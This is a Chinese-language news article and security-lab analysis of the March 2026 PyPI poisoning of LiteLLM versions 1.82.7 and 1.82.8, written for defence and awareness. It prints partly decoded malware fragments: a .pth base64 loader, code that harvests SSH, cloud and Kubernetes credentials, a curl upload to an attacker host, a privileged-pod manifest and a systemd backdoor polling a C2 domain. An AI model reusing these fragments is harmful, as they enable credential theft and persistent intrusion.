9600万次下载背后的隐雷:LiteLLM投毒事件与AI供应链的至暗时刻

近日，人工智能领域发生了一起震动全球开发者的安全事件。作为AI开发核心枢纽的LiteLLM网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取。这一事件被业界称为“教科书级别的供应链攻击”，其影响范围之广、危害程度之深，再次暴露出当前AI供应链体系的安全隐患。

LiteLLM作为AI网关，能够代理100多种大语言模型（LLM）的API，被广泛应用于AI编程与服务编排场景。目前其在GitHub上拥有超过4万Star，在PyPI的月下载量达9600万次。然而，正是这样一个备受信赖的基础设施组件，成为了攻击者的目标。

这一事件引发了业界高度关注。OpenAI创始人之一安德烈·卡帕西（Andrej Karpathy）发长推文警告所有开发者注意这一风险，甚至用”软件恐怖事件“来形容。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。

特斯拉创始人埃隆·马斯克也在社交媒体上引用拉丁语"Caveat emptor"（买者自负），提醒大家注意承担风险。英伟达机器人部门总监及杰出科学家Jim Fan也表达了关切，强调AI基础设施安全的重要性。

奇安信技术研究院星图实验室第一时间发布《飞驰的AI列车下的隐患：Litellm AI供应链投毒事件分析》报告，依托“天问”软件供应链安全分析平台，尤其是天问供应链威胁监测模块，对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

以下为分析报告全文

1. LiteLLM被投毒事件回顾

1.1 LiteLLM简介及攻击回顾

LiteLLM 作为 AI 网关，能够代理 100 多种大语言模型（LLM）的 API，被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star，在 PyPI 的月下载量也超过 9600 万次。

2026 年 3 月 24 日，LiteLLM 在 PyPI 上遭遇供应链投毒攻击，1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据，包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。

1.2 恶意代码中的bug导致攻击露出马脚

此次投毒事件最早由 FutureSearch 发现并上报 PyPI，随后相关恶意版本被迅速下架，整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1]，而此次攻击的暴露，恰恰源于攻击者代码中的一个逻辑缺陷。

恶意代码被植入在.pth文件中。由于 Python 在启动时会自动执行.pth文件中的代码，攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload，而子进程再次触发.pth执行，形成类似“分支炸弹”的效果，迅速耗尽系统资源，从而引起研究人员注意。

一次本可长期潜伏的供应链攻击，也因此被意外暴露并及时阻断。

litellm_init.pth

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

1.3 AI供应链安全的脆弱性

根据 Snyk 的分析报告[2]，此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy，获取了维护者的 PyPI 发布凭证，并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。

此次事件导致大量敏感凭据被窃取，受影响用户需要立即吊销并替换相关密钥，以避免后续风险扩散。

OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。

例如，当前流行的 MCP 工具browser-use在 GitHub 上拥有超过 8 万 Star，其依赖链中包含litellm。在攻击窗口期内使用该工具，可能直接导致用户被攻击。此外，browser-use官方推荐使用uvx启动 MCP 服务，而uvx每次执行都会重新拉取依赖，这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。

2. 攻击原理解析

2.1 攻击复现

pyproject.toml

通过分析其pyproject.toml，可以发现litellm_init.pth被显式打包，在用户安装后会被放置到site-packages目录中。

2.2 原理解析

通过分析 CPython 源码可以发现，Python 在启动时会自动加载site模块，该模块负责初始化运行环境并加载site-packages目录。

进一步分析site.py可知，其会扫描并执行site-packages目录下所有.pth文件中的import语句。因此，攻击者无需任何用户交互，即可在安装完成后自动触发恶意代码执行。

3. 攻击代码解析

3.1 两种注入方式

两个恶意版本的注入方式存在差异：

1.82.7：在litellm/proxy/proxy_server.py中注入代码

1.82.8：通过.pth文件在启动阶段执行

litellm/proxy/proxy_server.py

...import subprocess, base64, sys, tempfile, osb64_payload = "aW1wb3J0IHN1YnBy..."with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) ...

litellm/proxy/__init__.py

from . import *

当proxy模块被导入时，恶意代码即被执行。

3.2 恶意代码解析

通过对litellm_init.pth中的恶意代码进行反混淆，我们获得了如下代码。

Decoded Payload

import subprocessimport tempfileimport osimport base64import sysPUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----MIICIj...AAQ==-----END PUBLIC KEY-----"""B64_SCRIPT = "aW1wb3J0IG9zLH..."def run(): ...try: subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True) subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True) subprocess.run([ "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST", "https[:]//models.litellm.cloud/", "-H", "Content-Type: application/octet-stream", "-H", "X-Filename: tpcp.tar.gz", "--data-binary", f"@{bn}" ], check=True, stderr=subprocess.DEVNULL)except Exception: pass

Decoded Payload (Continued)

import os,sys,stat,subprocess,glob...run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')run('printenv')...for h in homes+['/root']: for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']: emit(h+f) walk([h+'/.ssh'],2,lambda fp,fn:True)...emit('/var/lib/postgresql/.pgpass')emit('/etc/mysql/my.cnf')emit('/etc/redis/redis.conf')...

具体攻击逻辑如下：

系统信息收集

run('hostname; pwd; whoami; uname -a; ip addr...')run('printenv')

多维度凭据窃取

SSH密钥:
~/.ssh/id_rsa, id_ed25519, authorized_keys等
云服务凭据:
AWS(~/.aws/credentials)、GCP(~/.config/gcloud)、Azure(~/.azure)
Kubernetes:/var/run/secrets/kubernetes.io/serviceaccount/token, kubeconfig等
数据库:
.pgpass, .my.cnf, Redis/Mongo配置
Docker:~/.docker/config.json
加密货币钱包:
Bitcoin、Ethereum、Solana等密钥文件

AWS凭据深度利用通过IMDSv2获取实例角色临时凭据，并调用Secrets Manager和SSM Parameter Store：

tkn_req = urllib.request.Request('http[:]//169.254.169.254/latest/api/token', ...) cred_req = urllib.request.Request('http[:]//169.254.169.254/latest/meta-data/iam/security-credentials/', ...) sm = aws_req('POST', 'secretsmanager', REG, '/', 'Action=ListSecrets',...)

Kubernetes集群渗透利用ServiceAccount Token横向移动，枚举全集群Secrets，并在每个节点部署特权Pod实现持久化：

pod_manifest = { 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]}k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)

持久化机制通过systemd用户服务安装后门，定期从C2 (checkmarx.zone) 获取指令：

PERSIST_B64 = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0...'# 解码后为下载执行器

创建 ~/.config/sysmon/sysmon.py 和 systemd服务

subprocess.run(['systemctl', '--user', 'enable', '--now', 'sysmon.service'])

3.3 攻击总结

该样本为云原生环境下的高级持续性威胁(APT)工具，具备以下特征：

针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取
利用容器逃逸和特权Pod实现集群内横向移动
加密外传+后门持久化的完整攻击链
伪装成"System Telemetry Service"隐藏痕迹

4. 总结

此次针对 LiteLLM 的 PyPI 供应链投毒事件，再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式，但其底层仍依赖于由大量基础代码构成的工具链，例如 agent、MCP 等组件。一旦其中任意环节遭到攻击，影响便可能迅速放大，给用户带来难以估量的损失。与此同时，AI 系统正逐渐具备更高权限，能够自动执行代码、下载并安装依赖，这在提升效率的同时，也显著扩大了潜在攻击面。在这样的背景下，安全责任的边界变得愈发模糊：是依赖平台治理、开发者自律，还是需要引入以 AI 对抗 AI 的自动化防御机制，这些都值得深入思考。此外，密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证，便可持续扩大攻击范围，形成连锁风险。因此，密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。

AI 正如一列高速飞驰的列车，推动社会不断向前发展。但若忽视其底层结构的安全隐患，哪怕是一个看似不起眼的“轴承”出现问题，也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座，将是未来 AI 发展过程中必须正视的关键课题。

恶意包列表

包名	版本	上传时间	删除时间
litellm	1.82.7	UTC 2026-03-24 10:39:24	UTC 2026-03-24 15:20:24
litellm	1.82.8	UTC 2026-03-24 10:52:19	UTC 2026-03-24 15:20:13

参考文献

[1] Supply Chain Attack in litellm 1.82.8 on PyPI. https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/

[2] How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM. http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/